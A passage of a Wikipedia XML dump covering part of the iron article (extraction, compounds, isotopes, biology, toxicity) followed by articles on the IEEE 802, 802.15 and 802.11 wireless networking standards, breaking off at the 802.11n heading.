== Extraction from ore ==
Industrially, iron is extracted from its [[ores]], principally hematite (nominally Fe&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;3&lt;/sub&gt;) and magnetite (Fe&lt;sub&gt;3&lt;/sub&gt;O&lt;sub&gt;4&lt;/sub&gt;) by a [[carbothermic]] reaction (reduction with [[carbon]]) in a [[blast furnace]] at temperatures of about 2000°C.  In a blast furnace, iron ore, carbon in the form of [[coke (fuel)|coke]], and a ''flux'' such as [[limestone]] are fed into the top of the furnace, while a blast of heated [[Earth's atmosphere|air]] is forced into the furnace at the bottom.

In the furnace, the [[coke (fuel)|coke]] reacts with [[oxygen]] in the air blast to produce [[carbon monoxide]]:

:6 [[carbon|C]] + 3 [[oxygen|O&lt;sub&gt;2&lt;/sub&gt;]] &amp;rarr; 6 [[carbon monoxide|CO]]

The carbon monoxide reduces the iron ore (in the [[chemical equation]] below, hematite) to molten iron, becoming [[carbon dioxide]] in the process:

:6 [[carbon monoxide|CO]] + 2 [[hematite|Fe&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;3&lt;/sub&gt;]] &amp;rarr; 4 Fe + 6 [[carbon dioxide|CO&lt;sub&gt;2&lt;/sub&gt;]]

The flux is present to melt impurities in the ore, principally [[silicon dioxide]] [[sand]] and other [[silicate]]s.  Common fluxes include limestone (principally [[calcium carbonate]]) and dolomite ([[magnesium carbonate]]).  Other fluxes may be used depending on the impurities that need to be removed from the ore.  In the heat of the furnace the limestone flux decomposes to [[calcium oxide]] (quicklime):

:[[calcium carbonate|CaCO&lt;sub&gt;3&lt;/sub&gt;]] &amp;rarr; [[calcium oxide|CaO]] + [[carbon dioxide|CO&lt;sub&gt;2&lt;/sub&gt;]]

Then calcium oxide combines with silicon dioxide to form a ''slag''.

:[[calcium oxide|CaO]] + [[silicon dioxide|SiO&lt;sub&gt;2&lt;/sub&gt;]] &amp;rarr; [[wollastonite|CaSiO&lt;sub&gt;3&lt;/sub&gt;]]

The slag melts in the heat of the furnace, which silicon dioxide would not have.  In the bottom of the furnace, the molten slag floats on top of the more dense liquid iron, and spouts in the side of the furnace may be opened to drain off either the iron or the slag.  The iron, once cooled, is called [[pig iron]], while the slag can be used as a material in [[road]] construction or to improve mineral-poor soils for [[agriculture]].

Approximately 1100Mt (million tons) of iron ore was produced in the world
in [[2000]], with a gross market value of approximately 25 billion US dollars. While ore production occurs in 48 countries, the five largest producers were China, Brazil, Australia, Russia and India, accounting for 70% of world iron ore production.  The 1100Mt of iron ore was used to produce approximately  572Mt of pig iron.

== Compounds ==
[[Image:LightningVolt Iron Ore Pellets.jpg|thumb|right|250px|This heap of [[iron ore]] pellets will be used in [[steel]] production.]]
Common [[oxidation state]]s of iron include:
* the '''Iron(-II)''' state, Fe&lt;sup&gt;2-&lt;/sup&gt; (e.g. Fe(CO)&lt;sub&gt;4&lt;/sub&gt;&lt;sup&gt;2-&lt;/sup&gt;,Fe(CO)&lt;sub&gt;2&lt;/sub&gt;(NO)&lt;sub&gt;2&lt;/sub&gt;.
* the '''Iron(0)''' state, Fe(CO)&lt;sub&gt;5&lt;/sub&gt;, Fe(PF&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;5&lt;/sub&gt;.
* the '''Iron(I)''' state, [Fe(H&lt;sub&gt;2&lt;/sub&gt;O)&lt;sub&gt;5&lt;/sub&gt;NO]&lt;sup&gt;2+&lt;/sup&gt;.
* the '''Iron(II)''' state, Fe&lt;sup&gt;2+&lt;/sup&gt;, previously ''ferrous'' is very common.
* the '''Iron(III)''' state, Fe&lt;sup&gt;3+&lt;/sup&gt;, previously ''ferric'', is also very common, for example in [[rust]].

* the '''Iron(IV)''' state, Fe&lt;sup&gt;4+&lt;/sup&gt;, previously ''ferryl'', stabilized in some enzymes (e.g. [[peroxidase|peroxidases]]).

Note that despite the chemical formula, the iron in the common [[pyrite]] is '''not''' in the +4 oxidation state; the sulfur is in the -1 oxidation state.
* the '''Iron(VI)''' state, Fe&lt;sup&gt;6+&lt;/sup&gt; is also known, if rare, in [[potassium ferrate]].

Iron carbide Fe&lt;sub&gt;3&lt;/sub&gt;C is known as [[cementite]].

== Isotopes ==
Naturally occurring iron consists of four [[isotope]]s: 5.845% of radioactive &lt;sup&gt;54&lt;/sup&gt;Fe (half-life: &gt;3.1E22 years), 91.754% of stable &lt;sup&gt;56&lt;/sup&gt;Fe, 2.119% of stable &lt;sup&gt;57&lt;/sup&gt;Fe and 0.282% of stable &lt;sup&gt;58&lt;/sup&gt;Fe.
&lt;sup&gt;60&lt;/sup&gt;Fe is an extinct [[radionuclide]] of long [[half-life]] (1.5 million years). Much of the past work on measuring the isotopic composition of Fe has centered on determining &lt;sup&gt;60&lt;/sup&gt;Fe variations due to processes accompanying [[nucleosynthesis]] (i.e., [[meteorite]] studies) and ore formation.

The isotope &lt;sup&gt;56&lt;/sup&gt;Fe is of particular interest to nuclear scientists. A common misconception is that this isotope represents the most stable nucleus possible, and that it thus would be impossible to perform fission or fusion on &lt;sup&gt;56&lt;/sup&gt;Fe and still liberate energy. This is not true, as both &lt;sup&gt;62&lt;/sup&gt;Ni and &lt;sup&gt;58&lt;/sup&gt;Fe are more stable.

In phases of the meteorites ''Semarkona'' and ''Chervony Kut'' a correlation between the concentration of &lt;sup&gt;60&lt;/sup&gt;[[Nickel|Ni]], the [[daughter product]] of &lt;sup&gt;60&lt;/sup&gt;Fe, and the abundance of the stable iron isotopes could be found which is evidence for the existence of &lt;sup&gt;60&lt;/sup&gt;Fe at time formation of solar system. Possibly the energy released by the decay of &lt;sup&gt;60&lt;/sup&gt;Fe contributed, together with the energy released by decay of the radionuclide &lt;sup&gt;26&lt;/sup&gt;[[Aluminium|Al]], to the remelting and [[planetary differentiation|differentiation]] of [[asteroid]]s after their formation 4.6 billion years ago. The abundance of &lt;sup&gt;60&lt;/sup&gt;[[nickel|Ni]] present in [[extraterrestrial]] material may also provide further insight into the origin of the [[solar system]] and its early history.
Of the stable isotopes, only &lt;sup&gt;57&lt;/sup&gt;Fe has a nuclear [[spin (physics)|spin]] (&amp;minus;1/2). For this reason, &lt;sup&gt;57&lt;/sup&gt;Fe has application as a spin isotope in chemistry and biochemistry.

== Biological role ==
Iron is essential to all [[organism]]s, except for a few [[bacterium|bacteria]]. It is mostly stably incorporated in the inside of [[metalloprotein]]s, because in exposed or in free form it causes production of [[free radical]]s that are generally toxic to cells. To say that iron is free doesn't mean that it is free floating in the bodily fluids. Iron binds avidly to virtually all biomolecules so it will adhere nonspecifically to [[cell membranes]], [[nucleic acids]], [[proteins]] etc.

Many animals incorporate iron into the [[heme]] complex, an essential component of [[cytochrome]]s, which are proteins involved in [[redox]] reactions (including but not limited to [[cellular respiration]]), and of oxygen carrying proteins [[hemoglobin]] and [[myoglobin]]. Inorganic iron involved in redox reactions is also found in the [[iron-sulfur cluster]]s of many [[enzyme]]s, such as [[nitrogenase]] (involved in the synthesis of [[ammonia]] from [[nitrogen]] and [[hydrogen]]) and [[hydrogenase]].  A class of [[non-heme iron proteins]] is responsible for a wide range of functions within several life forms, such as [[enzymes]] [[methane monooxygenase]] (oxidizes [[methane]] to [[methanol]]), [[ribonucleotide reductase]] (reduces [[ribose]] to [[deoxyribose]]; [[DNA replication|DNA biosynthesis]]), [[hemerythrin]]s ([[oxygen]] transport and fixation in [[marine biology#other sea life|marine invertebrate]]s) and [[purple acid phosphatase]] ([[hydrolysis]] of [[phosphate]] [[ester]]s). When the body is fighting a bacterial [[infection]], the body sequesters iron inside of cells (mostly stored in the storage molecule [[ferritin]]) so that it cannot be used by bacteria.

Iron distribution is heavily regulated in [[mammal]]s, both as a defense  against bacterial infection as well as the potential biological toxicity of iron. The iron absorbed from the [[duodenum]] binds to transferrin, and is carried by [[blood]] to different [[cell (biology)|cell]]s. There it gets by an as yet unknown mechanism incorporated into target proteins. [http://www.plosbiology.org/plosonline/?request=get-document&amp;doi=10.1371%2Fjournal.pbio.0000079]. A lengthier article on the system of human iron regulation can be found in the article on [[human iron metabolism]].

=== Dietary sources ===
Good sources of dietary iron include [[meat]], [[fish]], [[poultry]], [[lentil]]s, [[bean]]s, [[leaf vegetable]]s, [[tofu]], [[chickpea]]s, [[black-eyed pea]], [[strawberry|strawberries]] and [[farina (food)|farina]].

Iron provided by [[dietary supplement]]s is often found as [[Ferrous fumarate|Iron (II) fumarate]]. The [[Recommended Dietary Allowance|RDA]] for iron varies considerably based on the age, gender, and source of dietary iron ([[heme]]-based iron has higher [[bioavailability]])[http://www.iom.edu/Object.File/Master/7/294/0.pdf]. Also note the section below on [[#Precautions|precautions]].

Metallic iron filings are added to some [[breakfast cereals]] and listed in the ingredients as &quot;reduced iron&quot; (&quot;reduced&quot; referring to [[redox]] chemistry). If the cereal is crushed, the iron filings can be separated with a magnet.

== Precautions ==
Excessive iron is toxic to humans, because excess ferrous iron reacts with [[peroxide]]s in the body, producing [[free radical]]s. Iron becomes toxic when it exceeds the amount of [[transferrin]] needed to bind free iron. In excess, uncontrollable quantities of free radicals are produced. 

[[human iron metabolism|Iron uptake is tightly regulated]] by the human body, which has no physiologic means of excreting iron and regulates iron solely by regulating uptake. However, too much ingested iron can damage the cells of the [[gastrointestinal tract]] directly, and may enter the bloodstream by damaging the cells that would otherwise regulate its entry. Once there, it causes damage to cells in the [[heart]], [[liver]] and elsewhere. This can cause serious problems, including the potential of death from overdose, and long-term organ damage in survivors. 

Humans experience iron toxicity above 20 milligrams of iron for every kilogram of weight, and 60 milligrams per kilogram is a lethal dose.[http://www.emedicine.com/emerg/topic285.htm] Over-consumption of iron, often the result of children eating large quantitities of [[ferrous sulfate]] tablets intended for adult consumption, is the most common toxicological cause of death in children under six. The [[Dietary Reference Intake|DRI]] lists the Tolerable Upper Intake Level (UL) for adults as 45 [[milligram|mg]]/day. For children under fourteen years old the UL is 40 mg/day.

If iron intake is excessive [[iron overload disorder]]s can sometimes result, such as [[hemochromatosis]]. Iron overload disorders require a genetic inability to regulate iron uptake; however, many people have a genetic susceptibility to iron overload without realizing it and without knowing a family history of the problem. For this reason, people should not take iron supplements unless they suffer from [[iron deficiency (medicine)|iron deficiency]] and have consulted a doctor. [[Blood donation|Blood donors]] are at special risk of low iron levels and are often recommended to supplement their iron intake.

The medical management of iron toxicity is complex. One element of the medical approach is a specific [[chelator|chelating]] agent called deferoxamine, used to bind and expel excess iron from the body in case of iron toxicity.

==References==
*[http://periodic.lanl.gov/elements/26.html Los Alamos National Laboratory &amp;mdash; Iron]

== External links ==
{{Commons|Iron}}
* [http://www.webelements.com/webelements/elements/text/Fe/index.html WebElements.com &amp;ndash; Iron]
* [http://education.jlab.org/itselemental/ele026.html It's Elemental &amp;ndash; Iron]
* [http://hyperphysics.phy-astr.gsu.edu/hbase/nucene/nucbin2.html The Most Tightly Bound Nuclei]

&lt;!-- interwiki --&gt;

[[Category:Iron| ]]
[[Category:Chemical elements|Iron]]
[[Category:Transition metals]]

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[[af:Yster]]
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    </revision>
  </page>
  <page>
    <title>IEEE 802.15</title>
    <id>14735</id>
    <revision>
      <id>41874999</id>
      <timestamp>2006-03-02T07:47:41Z</timestamp>
      <contributor>
        <username>Fresnel zone</username>
        <id>1016303</id>
      </contributor>
      <text xml:space="preserve">'''IEEE 802.15''' is the '''15'''&lt;sup&gt;th&lt;/sup&gt; [[working group]] of the [[IEEE 802]] which specializes in [[Wireless PAN]] (Personal Area Network) standards. It includes four task groups (numbered from 1 to 4):

*Task group 1 (WPAN/Bluetooth) deals with [[Bluetooth]], having produced the 802.15.1 standard, published on June 14, 2002. It includes a [[medium access control]] and [[physical layer]] specification adapted from Bluetooth 1.1.

*Task group 2 (Coexistence) deals with coexistence of Wireless LAN ([[IEEE_802.11|802.11]]) and Wireless PAN.

*Task group 3 is in fact two groups: 3 (WPAN High Rate) and 3a (WPAN Alternate Higher Rate), both dealing with high-rate WPAN standards (20 Mbit/s or higher).

*Task group 4 (WPAN Low Rate) deals with low rate but very long battery life (months or even years). The first edition of the 802.15.4 standard was released in May 2003. In March 2004, after forming Task Group 4b, task group 4 put itself in hibernation. The new Task group 4b aims at clarifying and enhancing specific parts of the Task Group 4 standard. The [[ZigBee]] set of high level communication protocols is based upon the specification produced by this 802.15.4b taskgroup.

==See also==

*[[Bluetooth]] - IEEE 802.15.1
*[[Ultra wideband|UWB]] / [[Wireless USB]] - IEEE 802.15.3a
*[[ZigBee]] - IEEE 802.15.4

==External links==

*[http://www.ieee802.org/15/ official web site]
*[http://ieee802.org/15/pub/TG1.html Task group 1 (WPAN/Bluetooth)]
*[http://ieee802.org/15/pub/TG2.html Task group 2 (WPAN Coexistence)]
*[http://ieee802.org/15/pub/TG3.html Task group 3 (WPAN High Rate)]
*[http://ieee802.org/15/pub/TG3a.html Task group 3a (WPAN Alternate Higher Rate)]
*[http://ieee802.org/15/pub/TG4.html Task group 4 (WPAN Low Rate)]
*[http://www.palowireless.com/i802_15/ Palowireless IEEE 802.15 Resource Center] Articles, news and resources

{{compu-network-stub}}

[[Category:IEEE 802]]
[[Category:Wireless networking]]

[[es:IEEE 802.15]]
[[da:IEEE 802.15]]</text>
    </revision>
  </page>
  <page>
    <title>IEEE 802</title>
    <id>14736</id>
    <revision>
      <id>39107827</id>
      <timestamp>2006-02-10T19:47:28Z</timestamp>
      <contributor>
        <ip>83.95.126.57</ip>
      </contributor>
      <text xml:space="preserve">'''IEEE 802''' refers to a family of [[IEEE]] standards about [[local area network]]s and [[metropolitan area network]]s.
More specifically, the IEEE 802 standards are restricted to networks carrying variable-size packets. (By  contrast, in cell-based networks data is transmitted in short, uniformly sized units called cells. [[Isochronous]] networks, where data is transmitted as a steady stream of octets, or groups of octets, at regular time intervals, are also out of the scope of this standard.)

The services and protocols specified in IEEE 802 map to the lower two layers (Data Link and Physical) of the seven-layer [[OSI model|OSI]] networking reference model. In fact, IEEE 802 splits the OSI Data Link Layer into two sub-layers named [[Logical Link Control]] (LLC) and [[Media Access Control]], so that the layers can be listed like this:  
*[[Data link layer]]
**[[Logical Link Control|LLC Sublayer]] 
**[[Media Access Control|MAC Sublayer]] 
*[[Physical layer]] 

The IEEE 802 family of standards is maintained by the IEEE 802 LAN/MAN Standards Committee (LMSC). The most widely used standards are for the Ethernet family, Token Ring, Wireless LAN, Bridging and Virtual Bridged LANs. An individual Working Group provides the focus for each area.

See its working groups:
*[[IEEE 802.1]] Higher layer LAN protocols
*[[IEEE 802.2]] [[Logical Link Control|Logical link control]]
*[[IEEE 802.3]] [[Ethernet]]
*[[IEEE 802.4]] [[Token bus]] (disbanded)
*[[IEEE 802.5]] [[Token Ring]]
*[[IEEE 802.6]] [[Metropolitan Area Network]]s (disbanded)
*[[IEEE 802.7]] Broadband LAN using Coaxial Cable (disbanded)
*[[IEEE 802.8]] Fiber Optic TAG (disbanded)
*[[IEEE 802.9]] Integrated Services LAN (disbanded)
*[[IEEE 802.10]] Interoperable LAN Security (disbanded)
*[[IEEE 802.11]] [[Wireless LAN]] ([[Wi-Fi]] certification)
*[[IEEE 802.12]] demand priority
*IEEE 802.13 (not used)
*[[IEEE 802.14]] [[Cable modem]]s (disbanded)
*[[IEEE 802.15]] [[Wireless PAN]]
** [[IEEE 802.15.1]] ([[Bluetooth]] certification)
*[[IEEE 802.16]] [[Broadband Wireless Access]] ([[WiMAX]] certification)
**[[IEEE 802.16|IEEE 802.16e]] (Mobile) Broadband Wireless Access
*[[IEEE 802.17]] Resilient packet ring
*[[IEEE 802.18]] Radio Regulatory TAG
*[[IEEE 802.19]] Coexistence TAG
*[[IEEE 802.20]] Mobile Broadband Wireless Access
*[[IEEE 802.21]] Media Independent Handoff
*[[IEEE 802.22]] Wireless Regional Area Network

==See also==
*[[computer network]]s.

==External links==
*[http://www.ieee802.org/ 802 Committee website]

[[Category:IEEE 802|*]]

[[da:IEEE 802]]
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  </page>
  <page>
    <title>IEEE</title>
    <id>14737</id>
    <revision>
      <id>32848524</id>
      <timestamp>2005-12-27T06:16:29Z</timestamp>
      <contributor>
        <username>Srleffler</username>
        <id>252195</id>
      </contributor>
      <comment>Rv. It's pointless to disambiguate ONE page.</comment>
      <text xml:space="preserve">#REDIRECT [[Institute of Electrical and Electronics Engineers]]</text>
    </revision>
  </page>
  <page>
    <title>IEEE 1003</title>
    <id>14738</id>
    <revision>
      <id>15912274</id>
      <timestamp>2004-03-05T02:30:38Z</timestamp>
      <contributor>
        <username>RedWolf</username>
        <id>27822</id>
      </contributor>
      <minor />
      <comment>-&gt; Single UNIX Specification</comment>
      <text xml:space="preserve">#REDIRECT [[Single UNIX Specification]]</text>
    </revision>
  </page>
  <page>
    <title>IEEE 802.11</title>
    <id>14739</id>
    <revision>
      <id>41688684</id>
      <timestamp>2006-03-01T01:54:13Z</timestamp>
      <contributor>
        <username>KelleyCook</username>
        <id>480791</id>
      </contributor>
      <minor />
      <comment>/* 802.11n */</comment>
      <text xml:space="preserve">'''IEEE 802.11''', the [[Wi-Fi]] standard, denotes a set of [[Wireless LAN]]/WLAN standards developed by working group 11 of the [[Institute of Electrical and Electronics Engineers|IEEE]] LAN/MAN Standards Committee ([[IEEE 802]]). The term 802.11x is also used to denote this set of standards, and is not to be mistaken for any one of its elements. There is no single 802.11x standard. The term ''IEEE 802.11'' is also used to refer to the original 802.11, which is now sometimes called &quot;802.11legacy.&quot; For the application of these standards see [[Wi-Fi]].

[[Image:Cisco_aironet1200_b.JPG|thumb|right|300px|A Cisco Aironet 1200 Access Point]]
&lt;!-- Do we want these images all 300px? I'm not fussy about mine, although big is nice... comment on discussion page --&gt;
[[Image:Compaq WL200 802.11b PCI card.jpg|thumb|right|300px|A Compaq 802.11b PCI card]]

The 802.11 family currently includes six over-the-air [[modulation]] techniques that all use the same protocol, the most popular (and prolific) techniques are those defined by the b, a, and g amendments to the original standard; security was originally included, and was later enhanced via the 802.11i amendment. Other standards in the family (c&amp;ndash;f, h&amp;ndash;j, n) are service enhancement and extensions, or corrections to previous specifications. 802.11b was the first widely accepted wireless networking standard, followed (somewhat counterintuitively) by 802.11a and 802.11g.

802.11b and 802.11g standards use the 2.40 [[gigahertz]] (GHz) band, operating under [[Part 15 (FCC rules)|Part 15]] of the [[Federal Communications Commission|FCC]] Rules and Regulations. The 802.11a standard uses the 5 GHz band. Operating in the 2.4 [[gigahertz]] frequency band, 802.11b and 802.11g equipment can incur interference from [[microwave oven]]s, [[cordless telephone]]s, [[Bluetooth]] devices, and other appliances using the same 2.4 GHz band.

Which part of the [[radio frequency]] spectrum may be used varies between countries, with the strictest limitations in the [[USA]]&lt;!--or so the WiFi article says--&gt;. While it is true that in the USA 802.11a and g devices may be legally operated without a license, it is not true that 802.11a and g operate in an unlicensed portion of the radio frequency spectrum.  Unlicensed (legal) operation of 802.11 a &amp; g is covered under [[Part 15 (FCC rules)|Part 15]] of the [[Federal Communications Commission|FCC]] Rules and Regulations.  Frequencies used by channels one (1) through six (6) (802.11b) fall within the range of the 2.4 [[gigahertz]] [[Amateur Radio]] band.  Licensed [[amateur radio]] operators may operate 802.11b devices under [[Part 97 (FCC rules)|Part 97]] of the [[Federal Communications Commission|FCC]] Rules and Regulations that apply.

== Protocols ==
=== 802.11 legacy ===
The original version of the standard IEEE 802.11 released in [[1997]] specifies two raw [[Data signaling rate|data rate]]s of 1 and 2 [[mega]][[Bit rate|bits per second]] (Mbit/s) to be transmitted via [[infrared]] (IR) signals or in the [[ISM band|Industrial Scientific Medical frequency band]] at 2.4 GHz. IR remains a part of the standard but has no actual implementations.  

The original standard also defines [[Carrier Sense Multiple Access]] with Collision Avoidance ([[Carrier sense multiple access with collision avoidance|CSMA/CA]]) as the media access method. A significant percentage of the available raw channel capacity is sacrificed (via the CSMA/CA mechanisms) in order to improve the reliability of data transmissions under diverse and adverse environmental conditions.

At least five different, somewhat-interoperable, commercial products appeared using the original specification, from companies like Alvarion (PRO.11 and BreezeAccess-II), Netwave Technologies (AirSurfer Plus and AirSurfer Pro), Symbol Technologies (Spectrum24), and Proxim (OpenAir).  A weakness of this original specification was that it offered so many choices that interoperability was sometimes challenging to realize.  It is really more of a &quot;meta-specification&quot; than a rigid specification, allowing individual product vendors the flexibility to differentiate their products.  Legacy 802.11 was rapidly supplemented (and popularized) by 802.11b.    Widespread adoption of 802.11 networks only occurred after 802.11b was ratified and as a result few networks ran on the 802.11 standard.

=== 802.11b ===
The 802.11b amendment to the original standard was ratified in [[1999]].  802.11b has a maximum raw data rate of 11 Mbit/s and uses the same [[Carrier sense multiple access with collision avoidance|CSMA/CA]] media access method defined in the original standard. Due to the CSMA/CA protocol overhead, in practice the maximum 802.11b throughput that an application can achieve is about 5.9 Mbit/s over [[Transmission Control Protocol|TCP]] and 7.1 Mbit/s over [[User Datagram Protocol|UDP]].

802.11b products appeared on the market very quickly, since 802.11b is a direct extension of the [[Direct-sequence spread spectrum | DSSS]] (Direct-sequence spread spectrum) modulation technique defined in the original standard.  Technically, the 802.11b standard uses [[Complementary code keying]] (CCK) as its modulation technique, which is a variation on [[Code division multiple access|CDMA]]. Hence, chipsets and products were easily upgraded to support the 802.11b enhancements.  The dramatic increase in throughput of 802.11b (compared to the original standard) along with substantial price reductions led to the rapid acceptance of 802.11b as the definitive wireless LAN technology.

802.11b is usually used in a point-to-multipoint configuration, wherein an access point communicates via an omni-directional antenna with one or more clients that are located in a coverage area around the access point. Typical indoor range is 30 m at 11 Mbit/s and 90 m at 1 Mbit/s. With high-gain external antennas, the protocol can also be used in fixed point-to-point arrangements, typically at ranges up to eight [[kilometre|kilometer]]s (km) although some report success at ranges up to 80&amp;ndash;120 km where [[line of sight]] can be established. This is usually done in place of costly leased lines or very cumbersome microwave communications equipment. Designers of such installations who wish to remain within the law must however be careful about legal limitations on [[effective radiated power]].

802.11b cards can operate at 11 Mbit/s, but will scale back to 5.5, then 2, then 1 Mbit/s (a.k.a Adaptive Rate Selection), if signal quality becomes an issue. Since the lower data rates use less complex and more redundant methods of encoding the data, they are less susceptible to corruption due to interference and signal attenuation.  Extensions have been made to the 802.11b protocol (e.g., channel bonding and burst transmission techniques) in order to increase speed to 22, 33, and 44 Mbit/s, but the extensions are proprietary and have not been endorsed by the IEEE.  Many companies call enhanced versions &quot;802.11b+&quot;.  These extensions have been largely obviated by the development of 802.11g, which has data rates up to 54 Mbit/s and is backwards-compatible with 802.11b.

==== Channels and international compatibility ====
802.11b and 802.11g divide the spectrum into 14 overlapping, staggered [[channel (communications)|channels]] whose center frequencies are 5 megahertz (MHz) apart. It is a common misconception that channels 1, 6 and 11 (and, if available in the regulatory domain, channel 14) do not overlap and those channels (or other sets with similar gaps) can be used so that multiple networks can operate in close proximity without interfering with each other, but this statement is somewhat over-simplified. The 802.11b and 802.11g standards do not specify the width of a channel; rather, they specify the center frequency of the channel and a [[spectral mask]] for that channel. The spectral mask for 802.11b requires that the signal be [[wiktionary:attenuated|attenuated]] by at least 30 [[decibel|dB]] from its peak energy at ±11 MHz from the center frequency, and attenuated by at least 50 dB from its peak energy at ±22 MHz from the center frequency.

Since the spectral mask only defines power output restrictions up to ±22 MHz from the center frequency, it is often assumed that the energy of the channel extends no further than these limits. In reality, if the transmitter is sufficiently powerful, the signal can be quite strong even beyond the ±22 MHz point.  Therefore, it is incorrect to say that channels 1, 6, and 11 do not overlap.  It is more correct to say that, given the separation between channels 1, 6, and 11, the signal on any channel should be sufficiently attenuated to minimally interfere with a transmitter on any other channel. However, this is not universally true; for example, a powerful transmitter on channel 1 can easily overwhelm a weaker transmitter on channel 6.  In one lab test, throughput on a file transfer on channel 11 decreased slightly when a similar transfer began on channel 1, indicating that even channels 1 and 11 can interfere with each other to some extent.

Although the statement that channels 1, 6, and 11 are &quot;non-overlapping&quot; is incomplete, the 1, 6, 11 guideline has merit.  If transmitters are closer together than channels 1, 6, and 11 (e.g. 1, 4, 7, and 10), overlap between the channels will probably cause unacceptable degradation of signal quality and throughput.

The channels that are available for use in a particular country differ according to the regulations of that country.  In the [[United States]], for example, [[Federal Communications Commission|FCC]] regulations only allow channels 1 through 11 to be used. In Europe channels 1-13 are licensed for 802.11b operation but allow lower transmitted power (only 100mW) to reduce the interference with other ISM band users.

=== 802.11a ===
The 802.11a amendment to the original standard was ratified in [[1999]].  The 802.11a standard uses the same core protocol as the original standard, operates in 5 GHz band, and uses a 52-subcarrier [[orthogonal frequency-division multiplexing]] (OFDM) with a maximum raw data rate of 54 Mbit/s, which yields realistic net achievable throughput in the mid-20 Mbit/s. The data rate is reduced to 48, 36, 24, 18, 12, 9 then 6 Mbit/s if required. 802.11a has 12 non-overlapping channels, 8 dedicated to indoor and 4 to point to point. It is not interoperable with 802.11b, except if using equipment that implements both standards.  

Since the 2.4 GHz band is heavily used, using the 5 GHz band gives 802.11a the advantage of less interference. However, this high carrier frequency also brings disadvantages.  It restricts the use of 802.11a to almost line of sight, necessitating the use of more access points; it also means that 802.11a cannot penetrate as far as 802.11b since it is absorbed more readily, other things (such as power) being equal.

Different countries have different regulatory support, although a [[2003]] World Radiotelecommunications Conference made it easier for use worldwide.  802.11a is now approved by regulations in the [[United States]] and [[Japan]], but in other areas, such as the [[European Union]], it had to wait longer for approval.  European regulators were considering the use of the European [[HIPERLAN]] standard, but in mid-2002 cleared 802.11a for use in Europe.  In the US, a mid-2003 [[Federal Communications Commission|FCC]] decision may open more spectrum to 802.11a channels.

Of the 52 OFDM subcarriers, 48 are for data and 4 are pilot subcarriers with a carrier separation of 0.3125 MHz (20 MHz/64). Each of these subcarriers can be a BPSK, QPSK, 16-QAM or 64-QAM. The total bandwidth is 20 MHz with an occupied bandwidth of 16.6 MHz. Symbol duration is 4 [[micro]][[second]]s with a guard interval of 0.8 microseconds. The actual generation and decoding of orthogonal components is done in baseband using DSP which is then upconverted to 5 GHz at the transmitter. Each of the subcarriers could be represented as a complex number. The time domain signal is generated by taking an Inverse [[Fast Fourier transform]] (IFFT). Correspondingly the receiver downconverts, samples at 20 MHz and does an FFT to retrieve the original coefficients. The advantages of using OFDM include reduced multipath effects in reception and increased spectral efficiency.  

802.11a products started shipping in [[2001]], lagging 802.11b products due to the slow availability of the 5 GHz components needed to implement products.  802.11a was not widely adopted overall because 802.11b was already widely adopted, because of 802.11a's disadvantages, because of poor initial product implementations, making its range even shorter, and because of regulations.  Manufacturers of 802.11a equipment responded to the lack of market success by improving the implementations (current-generation 802.11a technology has range characteristics much closer to those of 802.11b), and by making technology that can use more than one 802.11 standard. There are dual-band, or dual-mode or tri-mode cards that can automatically handle 802.11a and b, or a, b and g, as available.  Similarly, there are mobile adapters and access points which can support all these standards simultaneously.

{|class=&quot;wikitable&quot;
! Data rate&lt;br /&gt;''(Mbit/s)''
! Modulation
! Coding rate
! ''Ndbps''
! 1472 byte&lt;br /&gt;transfer duration&lt;br /&gt;''(&amp;micro;s)''
|-
| 6
| BPSK
| 1/2
| 24
| 2012
|-
| 9
| BPSK
| 3/4
| 36
| 1344
|-
| 12
| 4-QAM
| 1/2
| 48
| 1008
|-
| 18
| 4-QAM
| 3/4
| 72
| 672
|-
| 24
| 16-QAM
| 1/2
| 96
| 504
|-
| 36
| 16-QAM
| 3/4
| 144
| 336
|-
| 48
| 64-QAM
| 2/3
| 192
| 252
|-
| 54
| 64-QAM
| 3/4
| 216
| 224
|}

&lt;!-- [[Image:Table of phy rates.jpg]] --&gt;

=== 802.11g ===
In June 2003, a third modulation standard was ratified: 802.11g. This flavour works in the 2.4 GHz band (like 802.11b) but operates at a maximum raw data rate of 54 Mbit/s, or about 24.7 Mbit/s net throughput like 802.11a. 802.11g hardware will work with 802.11b hardware.  Details of making b and g work well together occupied much of the lingering technical process. In older networks, however, the presence of an 802.11b participant significantly reduces the speed of an 802.11g network.  The modulation scheme used in 802.11g is [[orthogonal frequency-division multiplexing]] (OFDM) for the data rates of 6, 9, 12, 18, 24, 36, 48, and 54 Mbit/s, and reverts to (like the 802.11b standard) CCK for 5.5 and 11 Mbit/s and DBPSK/DQPSK+DSSS for 1 and 2 Mbit/s.  Even though 802.11g operates in the same frequency band as 802.11b, it can achieve higher data rates because of its similarities to 802.11a. 

The 802.11g standard swept the consumer world of early adopters starting in January 2003, well before ratification. The corporate users held back and Cisco and other big equipment makers waited until ratification. By summer 2003, announcements were flourishing. Most of the dual-band 802.11a/b products became dual-band/tri-mode, supporting a, b, and g in a single mobile adaptor card or access point.  Despite its major acceptance, 802.11g suffers from the same interference as 802.11b in the already crowded 2.4 GHz range.  Devices operating in this range include microwave ovens, Bluetooth devices, and cordless telephones.

While 802.11g held the promise of higher throughput, actual results were degraded by a number of factors: conflict with 802.11b-only devices (see above), exposure to the same interference sources as 802.11b, limited channelization (only 3 fully non-overlapping channels like 802.11b) and the fact that the higher data rates of 802.11g are often more susceptible to interference than 802.11b, causing the 802.11g device to reduce the data rate to effectively the same rates used by 802.11b.  The move to dual-mode/tri-mode products also carries with it economies of scale (e.g. single chip manufacturing).  For the consumer, dual-band/tri-mode products ensure the best possible throughput in any given environment.

=== Non-Standard Channel Bonding ===
Chipmaker [[Atheros]] sells a proprietary [[channel bonding]] feature called Super G{{ref|superG}} for manufacturers of access points and client cards. This feature can boost network speeds up to 108 Mbit/s by using [[channel bonding]]. Also range is increased to 4x the range of 802.11g and 20x the range of 802.11b.  This feature may interfere with other networks and may not support all b and g client cards. In addition, packet bursting techniques are also available in some chipsets and products which will also considerably increase speeds. This feature may not be compatible with other equipment.  [[Broadcom]], another chipmaker, developed a competing proprietary frame bursting feature called &quot;125 High Speed Mode&quot; {{ref|125HSM}} or [[Linksys]] &quot;SpeedBooster&quot;, in response to criticism of Super G's interference potential.

=== 802.11n ===
